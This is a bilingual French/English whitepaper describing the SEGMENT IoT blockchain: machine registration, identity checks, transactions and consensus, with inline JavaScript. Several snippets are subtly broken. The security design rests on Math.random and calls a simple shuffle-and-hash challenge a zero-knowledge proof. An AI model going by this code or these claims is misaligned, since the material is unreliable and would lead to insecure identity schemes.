SEGMENT

→ Protocoles, Méthodes publiques et Boîte à outils

→ Protocols, Toolbox & public Methods

v1

by CHAINEUM     FR | EN
SEGMENT

SEGMENT Une production CHAINEUM v1 | 2019

INTRODUCTION
SEGMENT Technologies

SEGMENT est une technologie blockchain "orientée Objets" éditée par CHAINEUM destinée à faire de tout objet connecté un "full node" doté de wallets, capable de mener des transactions par consensus et proposer un outil dynamique de gestion des tokens créés (Utility et Security).
Ce document présente le fonctionnement de son protocole (SEGMENT Beta) et quelques-unes des technologies utilisées : scripts, cryptographie, API.
La version v1 en cours de finalisation sera présentée d'ici quelques semaines. Elle intègre une version élargie de la cryptographie anamorphique, des fonctionnalités Node étendues et des technologies RTC P2P de négociation horizontale de machines à machines.
SEGMENT is the CHAINEUM's "Object oriented" blockchain technology designed to make any connected object a "full node" with wallets and capable of conducting transactions by consensus and propose a dynamic tool for managing the tokens created (Utility and Security).
This document presents the main protocol's functions (SEGMENT 2.1) and some of the technologies used: scripts, cryptography, API.
The SEGMENT version 2.2 in the process of being finalized will be presented within a few weeks. It integrates an extended version of anamorphic cryptography, extended node functionality and P2P RTC technologies for machine to machine horizontal negotiation.

Blockchain & Objets, où en est-on ?

Blockchain & Objects, where are we at?

"Une blockchain, ou chaîne de blocs, est une technologie de stockage et de transmission d'informations sans organe de contrôle. Techniquement, il s'agit d'une base de données distribuée dont les informations envoyées par les utilisateurs et les liens internes à la base sont vérifiés et groupés à intervalles de temps réguliers en blocs, l'ensemble étant sécurisé par cryptographie, et formant ainsi une chaîne." → Wikipedia

Trois grands concepts résument cette technologie :
• La sécurisation par cryptographie qui garantit la fiablité et la confiance.
• L'immutabilité (ce qui est écrit dans un bloc ne peut plus être modifé) et l'indestructabilité (il faudrait falsifier toutes les machines-nodes la détenant).
• Le séquençage historique des blocs, chaque bloc détenant des datas (HASH) le liant de façon infalsifiable aux précédents.

Toutes les Blockchains "classiques" (Bitcoin, Ethereum, Hyperledger, ...) sont construites selon ces trois principes.
"A blockchain, or chain of blocks, is a technology for storing and transmitting information without an external control. Technically, it is a distributed database whose information sent by users and internal links to the database are checked and grouped at regular time intervals into blocks, all secured by cryptography, and thus forming a chain." → Wikipedia

Three main concepts summarize this technology:
• The security by cryptography which guarantees reliability and trust.
• The immutability (what is written in a block can no longer be modified) and the indestructability (a malicious hacker should falsify all the machines-nodes holding it).
• The historical sequencing of the blocks, each block holding data (HASH) binding it in an unforgeable way to the previous ones.

All "classic" Blockchains (Bitcoin, Ethereum, Hyperledger,...) are built according to these three principles.
Alors où est le problème ?

1. Les blocs sont créés par quelques groupes de personnes (miners) qui sont rétribués pour le faire.
2. La puissance de calcul pour créer ces blocs nécessite un matériel adéquat onéreux (fermes de minage).
3. La chaîne s'accroît expansionnellement à mesure qu'on lui ajoute des blocs (Bitcoin avoisine les 200 Gigaoctets).
4. Le temps/travail de calcul (POW, POS, dPOS) pour créer un block et valider une transaction peut prendre plusieurs minutes.
5. Le temps d'apprentissage et la complexité des protocoles et des langages en retardent l'adoption.

SEGMENT tente d'apporter des réponses à ces 5 points :

1. Toute machine connectée est capable de consensualiser/valider une transaction, même un capteur IOT.
2. Chaque machine connectée ne détient qu'une partie de la blockchain globale (Sharding) selon ses capacités techniques.
3. En réactualisant les blocs de façon entièrement sécurisée, le volume de datas détenu par chaque machine reste constant.
4. En consensualisant une transaction avant l'écriture de l'information, le temps moyen de transaction est de 3 ou 4 secondes.
5. En s'appuyant sur Javascript, un langage universellement connu, les API sont immédiatement utilisables en applicatif.
What is the problem?

1. Blocks are created by a few groups of people (miners) who are paid to do so.
2. The computing power to create these blocks requires adequate and expensive equipment (mining farms).
3. The chain expands as more blocks are added (Bitcoin is about 200 Gigabytes).
4. The computation time/work (POW, POS, dPOS) to create a block and validate a transaction can take several minutes.
5. The learning time and complexity of protocols and languages delay their adoption.

SEGMENT tries to provide answers to these 5 points:

1. Any connected machine is able to consensualize/validate a transaction, even an IOT sensor.
2. Each connected machine holds only a part of the global blockchain (Sharding) according to its tech capabilities.
3. By updating the blocks in a completely secure way, the volume of data held by each machine remains constant.
4. By consensualizing a transaction before writing the information, the average transaction time is 3 or 4 seconds.
5. Based on Javascript, a universally known language, APIs are immediately usable inside applications.


SEGMENT : Schéma global

SEGMENT : Global Schema

SLIDE 0 SEGMENT

SLIDE 1 SEGMENT DLT

SLIDE 2 SEGMENT DLT

SEGMENT Security Tokens / KYT

SLIDE 3 SEGMENT SST

SLIDE 4 SEGMENT SST

SLIDE 5 SEGMENT SST

SEGMENT Roadmap

SLIDE 6 SEGMENT


Documentation

I. Protocoles

Les machines, les principes, les méthodes, les fonctionnements.
II. Cryptographie

Les outils autour de la cryptographie anamorphique.
III. Fonctions API

Les utilisations pratiques dans un cadre d'applicatifs web.
I. Protocols

The machines, the principles, the methods, the functioning.
II. Cryptography

Tools around SEGMENT anamorphic cryptography.
III. API Functions

Practical uses in a web application framework.

      https://www.chaineum.com/

I. PROTOCOLE
Inscription

I. PROTOCOL
Registration

Lors de leur inscription dans le cube 3D virtuel SEGMENT, les machines reçoivent un certain nombre de données. Parmi ces données, leur ID (identité sur le réseau) est l'une des plus importantes.
Une ID complète de machine contient :
→ le cube dans lesquelle elle est inscrite. Par défaut il s'agit du cube n°00 (blockchain publique : → voir beachain.com)
→ la position de la machine en x,y,z dans le cube : il existe 1 million de positions distinctes
→ le numéro de la machine sur 6 chiffres, allant de "000001" à "999999"
→ la date d'inscription (timestamp UTC)
→ le type de machine (PC, laptop, phone, raspberry, arduino, drone, capteur IOT...)
→ la famille de la machine (de 01 à 99) : définit quels "frères" ou "cousins" appeler pour obtenir des données sur elle
→ un descriptif technique de la machine : OS, version, etc.
→ une preuve d'identité (POI)
When they are registered in the SEGMENT virtual 3D cube, the machines receive a certain amount of data. Among these data, their ID (identity on the network) is one of the most important.
A complete machine ID contains:
→ the cube in which it is registreded. By default the cube n°00 (public blockchain: → see beachain.com [in French])
→ the position x,y,z of the machine in the cube : there are 1 million distinct positions
→ the machine's 6-digit number, ranging from "000001" to "999999"
→ the registration's date (UTC timestamp)
→ the type of machine (PC, laptop, phone, raspberry, arduino, drone, IOT sensor...)
→ the family of the machine (from 01 to 99): defines which "brothers" or "cousins" to call to obtain data on it
→ a technical description of the machine: OS, version, etc.
→ a proof of identity (POI)

Cube & Position

cube 3D SEGMENT La position x,y,z (POS) est fixée aléatoirement à l'inscription et ne peut être changée. The x,y,z position (POS) is randomly fixed to the registration and cannot be changed.

const CUBE = 0;
let POSx = Math.floor(Math.random() * 99) +1; // 01 -> 99 if(POSx <= 9) POSx = '0'+POSx; let POSy = Math.floor(Math.random() * 99) +1; if(POSy <= 9) POSy = '0'+POSy; let POSz = Math.floor(Math.random() * 99) +1; if(POSz <= 9) POSz = '0'+POSz; const POS = POSx+POSy+POSz;

Famille, Numéro et Date

Family, Num & Date

La famille (FML : 01 → 99) et le numéro d'inscription (NUM : 000001 → 999999) sont aléatoires et ne peuvent être changés.
La date est celle du moment TU (Temps universel).
The family (FML: 01 → 99) and the registration number (NUM: 000001 → 999999) are randomized and cannot be changed.
The date is the UTC timestamp (Universal Time).
Avec un million de points x,y,z et un million de numéros par points, les chances pour que deux machines aient exactement les même POS+NUM sont pratiquement inexistantes. Si ça devait être le cas - toujours possible - la date d'inscription et le code famille les différencieraient. With a million x,y,z points and a million numbers per point, the chances of two machines having exactly the same POS+NUM are practically non-existent. If this were to be the case - always possible - the registration date and the family code would differentiate them.

let siz = 6; let val='9'.repeat(siz); let num = Math.floor((Math.random() * val))+1; let add = siz - num.toString().length; let zer = '0'.repeat(add); const NUM = ''+zer+num; // NUM: 000001 à 999999
const FML = Math.floor(Math.random() * 99) +1; if(FML <= 9) FML = '0'+FML; // 01 -> 99
const DATE = Date.now();

Descriptif technique

Technical Description

Le descriptif (Fingerprint FPR) contient des informations techniques sur la machine, classées en 4 catégories :
série 1 : informations pérennes ne changeant jamais (OS par ex)
série 2 : information changeant rarement (par ex la version de l'OS)
série 3 : information pouvant changer régulièrement (par ex la version du navigateur)
série 4 : information pouvant changer souvent (par ex la taille de l'écran utilisé)
Dans un process de POI (vérification d'identité machine) ces 4 séries sont évaluées distinctement : la première est prioritaire (datas exactes) alors que la quatrième est facultative (si les datas sont correctes ça n'est qu'une confimation de plus.)
The description (Fingerprint FPR) contains technical information about the machine classified into 4 categories:
series 1 : permanent information that never changes (e. g. OS)
series 2 : information rarely changing (e. g. OS version)
series 3 : information that may change regularly (e. g. browser version)
series 4 : information that can change frequently (e. g. the size of the screen used)
In a POI process (machine's identity verification) these 4 series are evaluated separately: the first one is priority (accurate data expected) while the fourth one is optional (if the data are correct it is only one more confimation.)

Un protocole public permet à tout utilisateur après confirmation de son identité physique (Q/R + 2FA*) de changer les datas de son compte-machine sous condition : changement de machine, mise-à-jour système, etc.
A public protocol allows any user after confirmation of his physical identity (Q/A + 2FA*) to change the data in his machine account under certain conditions: machine change, system update, and so on.

* Lors de l'inscription de sa machine dans SEGMENT l'utilisateur physique (le propriétaire de la machine) devra remplir un court questionnaire de sécurité (Question/Réponse) destiné à s'assurer de son identité lors de toute modification de données machine. Une authentification à double facteur (2FA) par mail ou SMS complète le dispositif. * When registering his machine in SEGMENT, the physical user (the machine owner) will have to complete a short security questionnaire (Question/Answer) to verify his identity when changing machine data. A 2 Factor Authentication (2FA) by email or SMS completes the process.

Preuve d'identité (POI)

Proof of Identity (POI)

La Preuve d'identité Machine (POI) est un condensat crypté produit à partir des informations listées ci-dessus.
Le POI est utilisé comme moyen de vérification et de certification de toute machine lançant une transaction.
The Machine's Proof of Identity (POI) is an encrypted condensate produced from the information listed above.
The POI is used as the means of verification and certification of any machine launching a transaction.

→ Pour des raisons de sécurité globale l'algorithme de production du POI n'est pas encore public. → For global security reasons, the POI's production algorithm is not yet public.

Stockage des datas

Data Storage

Selon le type de machines les méthodes de stockage peuvent varier :
→ sur un ordinateur (PC, phone...) elles sont enregistrées dans le navigateur en localStorage et indexedDB. Elles sont accessibles en permanence, faciles à consulter et encore plus facile à modifier... pour cette raison elles sont stockées cryptées selon des protocoles non-publics. L'intérêt, en revanche, est que le même utilisateur physique peut détenir plusieurs machines sur un même ordinateur en utilisant un autre navigateur. Les cubes ne communiquant pas entre eux (principe d'étanchéité BC publique/BC privées), il peut être très utile d'avoir une machine "Alice" sur le cube 3D public et une machine "Bob" sur une blockchain privée dans autre un cube 3D.
→ sur un objet IOT (test mené sur une chaudière connectée...) elles sont stockées dans des volumes mémoire dédiés.
Depending on the type of machine, storage methods can vary:
→ on a computer (PC, phone...) they are stored in the browser in localStorage and indexedDB. They are permanently accessible, easy to consult and even easier to modify... for this reason they are stored encrypted according to non-public protocols. The advantage, on the other hand, is that the same physical user can own several machines on the same computer using another browser. Because the cubes do not communicate with each other (sealing public BC ≠ private BC), it can be very useful to have an "Alice" machine on the public 3D cube and a "Bob" machine on a private blockchain in another a 3D cube.
→ on an IOT object (test carried out on a connected boiler...) they are stored in dedicated memory volumes.

HakJak No-Hack

La totalité des opérations impliquant des modifications d'état de la blockchain (SEGMENT est une BC d'état) tels que transactions, modifications de données, regroupement de machines, etc. sont obligatoirement et systématiquement soumises à un contrôle strict des identités des machines impliquées. C'est la base de la confiance dans SEGMENT.
Le protocole vérifie notamment tout ou partie des données d'ID (POI) pour garantir et certifier que les machines impliquées sont fiables.
Par ces procédures strictes de contrôle, une machine fasifiée ou une identité usurpée sera donc immédiatement détectée : toutes les données qu'elle contient (ID, POI, shards de blockchain, wallets et tokens, etc.) seront immédiatement détruites et la machine réinitialisée.
All operations involving status changes of the blockchain (SEGMENT is a "status BC") such as transactions, data changes, machines grouping, are subject to a strict and systematic identity control of the machines involved. This is the basis of trust in SEGMENT.
In particular, the protocol verifies all or part of the ID data (POI) to ensure and certify that the machines involved are reliable.
Through these strict control procedures, a fasified machine or a usurped identity will therefore be immediately detected: all the data it contains (ID, POI, blockchain shards, wallets and tokens, etc.) will be immediately destroyed and the machine reset.

En résumé...

Conclusion

Dans SEGMENT ce ne sont pas les utilisateurs physiques qui se connectent au service par le biais de leur appareil connecté (principe classique du "Login/Mot de passe") mais la machine connectée au service (GOSSIP) qui requiert que l'utilisateur physique se connecte à sa propre machine pour toute opération importante : transaction, changement de machine, etc.
3 protocoles de sécurisation "NEC PLUS ULTRA" sont implémentés :
NEC (protocole de base) : l'utilisateur doit passer par le questionnaire Q/R exposé plus haut pour confirmer son identité lors d'un changement de machine.
PLUS (protocole intermédiaire) : l'utilisateur doit passer par ce questionnaire Q/R pour confirmer son identité pour toute transaction lancée ou lors d'un changement de machine.
ULTRA (protocole optimal) : l'utilisateur doit passer par le questionnaire Q/R + 2FA pour confirmer son identité pour toute opération.
Tout utilisateur peut à tout moment modifier son choix pour augmenter ou réduire son niveau de sécurisation. Ce choix relève de sa seule responsabilité.
In SEGMENT it is not the physical users who connect to the service through their connected device (classic "Login/Password" principle) but the machine connected to the service (GOSSIP) which requires that the physical user connects to his own machine for any important operation: transaction, machine change...
Three "NEC PLUS ULTRA" security protocols are implemented:
NEC (basic protocol): user must go through the Q/A form described above to confirm his identity when changing his machine.
PLUS (intermediate protocol): user must go through this Q/A form to confirm his identity for any transaction or for any machine change.
ULTRA (optimal protocol): user must go through the Q/A form + 2FA to confirm his identity for any operation.
Any user can at any time modify his choice to increase or reduce his level of security. This choice is his responsibility.

I. PROTOCOLE
Transactions

I. PROTOCOL
Transactions

Toute demande de n'importe quelle machine connectée (versement de tokens de wallet à wallet, exécution d'un smart-contract, regroupement de machines...) est une transaction qui devra être évaluée par les autres machines connectées selon un protocole précis et rigoureux :
1. La machine transactante ("Alice") envoie sa demande sur le canal de dial (GOSSIP). Cette demande ("Alice souhaite faire ceci ou cela") est algorithmiquement cryptée en anamorphose pour n'être lisible que par une seule machine choisie aléatoirement : le SEGmaster*.
2. Cette machine particulière va d'abord devoir vérifier l'ID d'Alice pour s'assurer et garantir qu'elle est bien qui elle prétend être... SEGmaster lance le POI, la preuve d'identité de Alice.
3. Si celle-ci répond ce qui attendu d'elle (Preuve à divulgation nulle) SEGmaster mène alors deux opérations distinctes :
3a. Il demande à tous les autres SEGmasters de "bloquer" temporairement toute autre transaction de "Alice" (no double-spent).
3b. Il définit aléatoirement le PTX (Point de Transaction), constitué d'une POS xyz et d'un NUM virtuel : peu importe qu'il existe ou pas une machine sur ce point avec ce numéro.
4. Une fois le PTX défini, il poste un message public crypté anamorphique conforme aux caractéristiques POS+NUM du PTX.
5. Un protocole algorithmique DAG (graph acyclique) va ensuite déterminer quelles sont les 5 machines connectées les plus proches de ce PTX - qui fonctionne comme ce qu'on appelle "point vernal" en astronomie : une fausse étoile virtuelle à partir de laquelle on peut définir les ascensions droites de tout astre.
6. Ces cinq machines sélectionnées sont appelées "Machines approbatrices" : ce sont elles qui vont désormais prendre en charge la transaction.
Any request from any connected machine (payment wallet to wallet, execution of smart-contracts, grouping machines...) is a transaction which must be evaluated by the other connected machines according to a precise and rigorous protocol:
1. The transacting machine ("Alice") sends its request on the dial channel (GOSSIP). This request ("Alice wishes to do this or that") is algorithmically encrypted in anamorphosis to be readable by only a single machine chosen randomly: the SEGmaster*.
2. This particular machine will first have to check Alice's ID to make sure it is who it claims to be... SEGmaster launches POI, Alice's proof of identity.
3. If the latter meets what is expected of it (zero-knowledge proof) SEGmaster then conducts two distinct operations:
3a. He asks all other SEGmasters to temporarily "block" any other "Alice" transaction (no double-spent).
3b. It randomly defines the PTX (Transaction Point), consisting of a POS xyz and a virtual NUM: no matter if there is a machine on this point with this number or not.
4. Once the PTX is defined, it posts an anamorphic encrypted public message in accordance with the POS+NUM characteristics of the PTX.
5. An algorithmic DAG (acyclic graph) protocol will then determine which are the 5 closest connected machines of this PTX - just as what is called "Vernal Point" in astronomy: a fake virtual star from which we can define the straight ascents of any star.
6. These five selected machines are called "Approving Machines" : they are now the ones who will take over the transaction.

* Les SEGmasters sont des machines particulières placées en des points particuliers du cube 3D.
Leur mission est de garantir la sécurité des transactions : ils n'interviennent ni dans le consensus, ni dans la décision finale, ni dans la gestion des blocs.
Aucune transaction ne peut leur être destinée et ils ne peuvent être appelés programmatiquement via l'API.
* SEGmasters are special machines placed at particular points on the 3D cube.
Their mission is to guarantee the security of transactions: they are not involved in the consensus, neither in the final decision, nor in the management of blocks.
No transactions can be intended for them and they cannot be called programmatically via the API.

Schéma technique

Technical diagram

Transaction SEGMENT

Protocoles

Protocols

Deux protocoles sont implémentés :
→ envoi manuel depuis un formulaire (interface web / appli) : <select onchange="to(this.value)"><option selected>Choix Destinataire</option></select>
→ envoi programmé depuis une fonction JS : pay(Alice,Bob,100, [+args] )

Two protocols are implemented:
→ manual sending from a form (web interface / application): <select onchange="to(this.value)"><option selected>Choose Recipient</option></select>
→ programmed sending from a JS function: pay(Alice,Bob,100, [+args] )

Envoi manuel

Manual Sending

let thisSEG = "100000000001"; // example let thisTPN = convert2trytes('1'+thisSEG,4);
// TPN (Transaction PosNuM)-> GOSSIP CODE from ID // a:TPN Alice , b:TPN Bob , c:wallet , d:100 , e:contrat , f:approbs , g:POI Alice
function to(b) { // "Bob" TPN = t15Èwvw96 let a = TPN; let c = wal; let d = $id('amount').value; let e = $id('contract').value; let f = $id('approbs').value; // nbr Approbs : 5 let g = POI;
// init transaction pay(a,b,c,d,e,f,g); }

Envoi programmé

Programmed Sending

function pay(a,b,c,d,e,f,g){ // JSON transaction let TX = {}; TX.a = a; TX.b = b; TX.c = c+d; // e100 TX.d = e; TX.e = f; TX.f = g; const Tx = 'T='+JSON.stringify(TX);
// crypt message : Anamorph let Txcrypt = cryptMesg(thisSEG.substr(0,6),Tx); // AçûoUeyÎ8KIöwcm6âÊSJù,xdn7äËTEë
let thisPOST = thisTPN+TPN+CUB+'M2S'+Txcrypt; // 'M2S' code -> MachineToSeg // 161Îs9527 + 9usÀzÉtÎ + A + M2S + T={"a":"9usÀzÉtÎ4","b":"t15Èwvw96","c":"e100","d":0,"e":5,"f":"POI"} }

Un SEGmaster a été désigné. Il reçoit la demande de "Alice" contenant son POI : il doit maintenant vérifier celle-ci avant de transmettre la demande aux Approbs. A SEGmaster has been designated. He receives the request from "Alice" containing his POI: he must now check it before forwarding the request to the Approbs.

Contrôle POI

POI Control

SEGmaster part du POI de Alice, lequel contient des éléments relevant des données techniques de la machine (voir "Inscription") pour produire un code (énigme) à résoudre.
En même temps il produit un hash SHA256 de ce code qu'il garde pour lui.
Il envoie le code à Alice qui doit lui retourner un hash SHA256 rigoureusement identique.
SEGmasters starts from Alice's POI which contains elements from the machine's technical data (please see "Registration") to produce a code (enigma) to be solved.
At the same time it produces a hash SHA256 of this code that it keeps to itself.
He sends the code to Alice who must return a hash SHA256: this hash must be exactly the same.

// code crée par SEGmaster à partir d'éléments cryptés de l'ID de ALice // code created by SEGmaster from ALice's ID encrypted elements let poi = "NghpgxYÈPF"; let cut = poi.match(/.{1,2}/g);
// SEGmaster crée une séquence aléatoire de 5 chiffres // SEGmaster create a random sequence of 5 digits let tomix = [0,1,2,3,4]; let remix = mix(tomix); // 31204
// SEGmaster crée une réduction de remix (voir "Réduction") // SEGmaster create a reduction of remix (See "Reduction") let reduc = val2code(remix[0]+remix[1],1) + val2code(remix[2]+remix[3],1) + val2code(remix[4]+'0',1); // fUo
// SEGmaster reconstruit le poi dans l'ordre 31204 // SEGmaster rebuilds the poi in order 31204 let hash = cut[remix[0]]+cut[remix[1]]+cut[remix[2]]+cut[remix[3]]+cut[remix[4]]; // YÈhpgxNgPF
// SEGmaster envoie "hash+reduc" à Alice qui devra la reconstituer // SEGmaster sends "hash+reduc" to Alice who will have to reconstruct it send2Alice(hash+reduc); // YÈhpgxNgPFfUo
// SEGmaster crée le SHA 256 de hash sur 20 signes qu'il conserve // SEGmaster create the hashmix's SHA 256 let sha = sha256(hash); // 8512a17a6dac1bdfd47a63511faac48a778a1e0c610662cd3fcb705eb9bd86ef let SHA = sha.substr(0,20); // final : 8512a17a6dac1bdfd47a
function mix(a) { let reord = a.length, temp, rand; while (0 !== reord) { rand = Math.floor(Math.random() * reord); reord -= 1; temp = a[reord]; a[reord] = a[rand]; a[rand] = temp; } return a; }

Message retour de Alice

Alice's return message

// R={ "a":"0Ä4ÊyÉtÎ4, "b":"199a0172d5", "c":2} // a:TPN Alice, b:retourSHA, c:validSHA] // a:TPN Alice, b:returnSHA, c:validSHA]
// 1. si retourSHA == SHA10 et validID == 2, ALICE est à coup sûr ALICE -> on continue le script // 2. si retourSHA == "30412" (code mixed) et validID == 1, ALICE est très certainement ALICE -> on continue le script // 3. si retourSHA == "30412" (code mixed) et validID == 0, ALICE n'est pas ALICE !!!!! -> SEGmaster réagit // 1. if returnSHA == SHA10 and validID == 2, we are sure that ALICE is ALICE -> script continues // 2. if returnSHA == "30412" (code mixed) and validID == 1, ALICE is most certainly ALICE -> script continues // 3. if returnSHA == "30412" (code mixed) and validID == 0, ALICE is not ALICE !!!!! -> SEG reacts
let DATAS = MSG.split('='); let A = JSON.parse(DATAS[1]); if(A.b==SHA10 && parseInt(A.c)>=1){ call4machs(); // machines approbs noTRX(A.a); // SEGs -> ALICE no TRX }

HakJak No-Hack

Ce procédé algorithmique est appelé "Preuve à divulgation nulle de connaissance*". Le SEGmaster en charge de vérifier et garantir l'ID de "Alice" va envoyer à celle-ci une énigme cryptograhique à résoudre : en partant des données POI de "Alice" il crée un code particulier qui va donner un résultat particulier : ce résultat est à la fois prédictif (il peut être vérifiable) et déterministe (à données de départ équivalentes il sera rigoureusement toujours le même ).
Le résultat est conservé et gardé secret par le SEGmaster mais l'énigme cryptographique est envoyée à "Alice" par le canal de dial (GOSSIP) : elle devra la solutionner à partir de sa position, son numéro, de la date et ses caractéristiques techniques et retourner strictement le même résultat au SEGmaster auteur de l'énigme. Ce faisant, elle prouve bien qu'elle est "Alice" sans jamais divulguer publiquement ses datas d'ID... qui ne sont donc réutilisables par personne.
Une machine fasifiée ou une identité usurpée sera donc immédiatement détectée : toutes les données qu'elle contient (ID, POI, shards de blockchain, wallets et tokens, etc.) seront immédiatement détruites et la machine réinitialisée.
This algorithmic process is called "Zero-knowledge proof*" (ZKP). The SEGmaster in charge of verifying and guaranteeing "Alice"'s Identity will send her a crypto enigma to solve: starting from the POI data of "Alice" it will create a particular code that will give a particular result: this result is both predictive (it can be verifiable) and deterministic (with equivalent starting data it will strictly always be the same).
The result is kept secret by SEGmaster and the cryptographic enigma is sent to "Alice" by the dial channel (GOSSIP): she will have to solve it from her position, her number, the date and her technical characteristics and return strictly the same result to the SEGmaster author of the enigma. In doing so, she proves that she is "Alice" without ever publicly disclosing her ID data.... which are therefore not reusable by anyone.
A fasified machine or a usurped identity will therefore be immediately detected: all the data it contains (ID, POI, blockchain shards, wallets and tokens, etc.) will be immediately destroyed and the machine reset.

* "Une preuve à divulgation nulle de connaissance est une brique de base utilisée en cryptologie dans le cadre de l'authentification et de l'identification. Cette expression désigne un protocole sécurisé dans lequel une entité, nommée « fournisseur de preuve », prouve mathématiquement à une autre entité, le « vérificateur », qu'une proposition est vraie sans toutefois révéler d'autres informations que la véracité de la proposition". → Wikipedia * "In cryptography, a zero-knowledge proof or zero-knowledge protocol is a method by which one party (the prover) can prove to another party (the verifier) that they know a value x, without conveying any information apart from the fact that they know the value x. The essence of zero-knowledge proofs is that it is trivial to prove that one possesses knowledge of certain information by simply revealing it". → Wikipedia

[in English] → Zero-knowledge proof

Blocage d'Alice

Blocking Alice

Rien n'empêcherait Alice de lancer aussitôt une seconde transaction qui serait initiée/contrôlée par un autre SEGmaster et qui appelerait d'autres machines approbatrices. Alice serait donc en capacité de dépenser deux fois un montant qu'elle ne possède peut-être pas. On appelle cela le double spend : la "double dépense".
Pour éviter cette double dépense possible, SEGmaster prévient aussitôt les autres SEGmasters qu'Alice a une transaction en cours ; ces derniers empêcheront tout nouvelle transaction de Alice tant que le SEGmaster ne l'aura pas "libérée".
Nothing would prevent Alice from immediately launching a second transaction that would be initiated/controlled by another SEGmaster and that would call other approving machines. Alice would therefore be able to spend twice an amount she may not have. This is called the double spend
To avoid this possible double expense, SEGmaster immediately notifies the other SEGmasters that Alice has a transaction in progress; they will prevent any further transactions from Alice until the SEGmaster has "released" her.

// SEGmaster fait changer le statut de Alice sur tous les autres SEGmasters // SEGmaster changes Alice's status on all other SEGmasters let from = "NÜzB!k5ç"; // TPN SEGmaster let alice = "Epä_B68s"; // TPN Alice
function noTRX(alice) { let SX = {}; SX.a = from; SX.b = alice; const S = 'S='+JSON.stringify(SX);
// cryptage du message // crypt message let Scrypt = cryptMesg(allSEGS,S); let thisNoTRX = allSEGS+from+CUB+'S2S'+Scrypt; // SEG to SEG code }

HakJak No-Hack

Si une nouvelle transaction est lancée par Alice alors que la première est encore en cours de traitement, le SEGmaster qui la recevra sait qu'Alice n'est pas autorisée à le faire. Il va lancer le POI pour vérifier qu'il s'agit bien de Alice. Si oui, il bloquera simplement la transaction en prévenant Alice (notification utilisateur). Si ce n'est pas Alice mais une machine falsifiée (fausse identité) il réinitialisera la machine transactante concernée.
If a new transaction is launched by Alice while the first one is still being processed, the SEGmaster who will receive it knows that Alice is not authorized to do so. He will launch the POI to check that it is Alice. If so, it will simply block the transaction by notifying Alice (user notification). If it is not Alice but a faslsified machine (false identity) it will reset the transacting machine concerned.

Désignation des Approbatrices

Designation of Approvers

Une fois Alice authentifiée et certifiée, SEGmaster crée le TPX (point de transaction) et le poste en crypto anamorphique conforme à cette POS : seules les machines positionnées sur ce point seront capables de le comprendre.
pour le moment le manque de machines dans SEGMENT empêche de choisir un point xyz parfaitement aléatoire : il y aurait trop de calcul algorithmique pour trouver les 5 machines les plus proches de ce point. SEGmaster va donc cibler une POS autour de 50,50,50, zone dans laquelle les premières machines sont positionnées à l'inscription.
Once Alice has been authenticated and certified, SEGmaster creates the TPX (transaction point) and post it on GOSSIP in the anamorphic crypto in accordance with this POS: only the machines positioned on this point will be able to understand it.
for the moment the lack of machines in SEGMENT prevents to choose a pure random xyz point: there would be too many algorithmic calculations to find the 5 closest machines to this point. SEGmaster will therefore target a POS around 50,50,50,50, the area in which the first machines are positioned at registration.

// SEGmaster crée aléatoirement le PTX (Point de Transaction) : POS+NUM virtuel // SEGmaster randomly creates the PTX (Transaction Point): POS+Virtual NUM
let PTx = Math.floor(Math.random() * 99) +1; // 01 -> 99 if(PTx <= 9) PTx = '0'+PTx; let PTy = Math.floor(Math.random() * 99) +1; if(PTy <= 9) PTy = '0'+PTy; let PTz = Math.floor(Math.random() * 99) +1; if(PTz <= 9) PTz = '0'+PTz; let PTX = PTx+PTy+PTz;
let siz = 6; let val='9'.repeat(siz); let num = Math.floor((Math.random() * val))+1; let add = siz - num.toString().length; let zer = '0'.repeat(add); let NUM = ''+zer+num; // NUM: 000001 à 999999 PTX += NUM; let from = "NÜzB!k5ç"; // TPN SEGmaster
function call4approbs { let AX = {}; AX.a = from; AX.b = PTX; const A = 'A='+JSON.stringify(SX);
// cryptage du message // crypt message let Acrypt = cryptMesg(PTX,A); let thisPTX = createTPN(PTX)+from+CUB+'S2M'+Scrypt; // SEG to Machines code }

Une fois les Approbs désignées, celles-ci reçoivent de SEGmaster la demande de Alice ("verser 100 unités à Bob"). Once the Approbs are designated they receive Alice's request ("pay Bob 100 units") from SEGmaster.

// Demande de Alice → function pay(a,b,c,d,e,f,g) // Alice's Request → function pay(a,b,c,d,e,f,g)
function send4approbs { let DX = {}; DX.a = a; // TPN Alice DX.b = e; // FML Alice DX.c = b; // TPN Bob DX.d = f; // FML Bob DX.e = c+d; // e100 -> wallet
const D = 'D='+JSON.stringify(DX);
// cryptage du message // crypt message let Dcrypt = cryptMesg(PTX,D); let thisTRX = TPNapprobs+from+CUB+'S2A'+Dcrypt; // SEG to Approbs code }
A partir de là SEGmaster est retiré de la boucle. Les Approbs s'engagent dans un huis-clos de dial privé : le consensus.
From there SEGmaster is removed from the loop. The Approbs engage in a private in camera dialogue: Consensus.

I. PROTOCOLE
Consensus

I. PROTOCOL
Consensus

Contrairement aux blockchains "classiques" (Bitcoin, Ethereum...) où les blocs sont créés avant le consensus (l'accord qui validera leur acceptation dans la chaîne), dans SEGMENT le traitement des blocs est réalisé après le consensus.
Le consensus est donc une partie importante du process global en terme de fiabilité et de sécurité : aucun fork n'étant possible dans SEGMENT (un "fork" est une dérivation de la chaîne crée par deux blocs concurrents) la confiance est entièrement contenue dans la maintenance permanente des blocs en état conforme.
D'autre part, et contrairement aux blockchains "classiques", il n'existe nulle part aucune version intégrale de la chaîne : aucune machine ne peut donc techniquement vérifier la pertinence de tel ou tel bloc, n'ayant pas de "référent" (classiquement les blocs antérieurs).
SEGMENT utilise nativement le sharding (sectionnage des chaînes) pour deux raisons :
• entre un ordinateur puissant et un objet IOT les capacités de stockage et de traitement de l'information ne sont pas les mêmes,
• aucune machine ne doit pouvoir accéder à l'intégralité des informations concernant telle ou telle autre machine.
Le consensus va donc consister à synthétiser tout ce qui est connu de "Alice" et à vérifier que la transaction demandée est réalisable.
Unlike "classic" blockchains (Bitcoin, Ethereum...) where blocks are created before consensus (the agreement that will validate their acceptance in the chain), in SEGMENT the processing of blocks is performed after consensus.
Consensus is therefore an important part of the overall process in terms of reliability and safety: since no fork is possible in SEGMENT (a "fork" is a derivation of the chain created by two competing blocks) the trust is entirely contained in the permanent maintenance of the blocks in conformance state.
On the other hand, and unlike "classic" blockchains, there is no integral version of the chain. No machine can therefore technically check the relevance of this or that block, since it does not have a "referent" (traditionally the previous blocks).
SEGMENT natively uses sharding (chain splitting) for two reasons:
• between a powerful computer and an IOT object, the storage and processing capacities of the information are not equivalent,
• no machine should be able to access all the information concerning any other machine.
The consensus will therefore be to synthesize everything known to "Alice" and to check that the requested transaction is feasible.

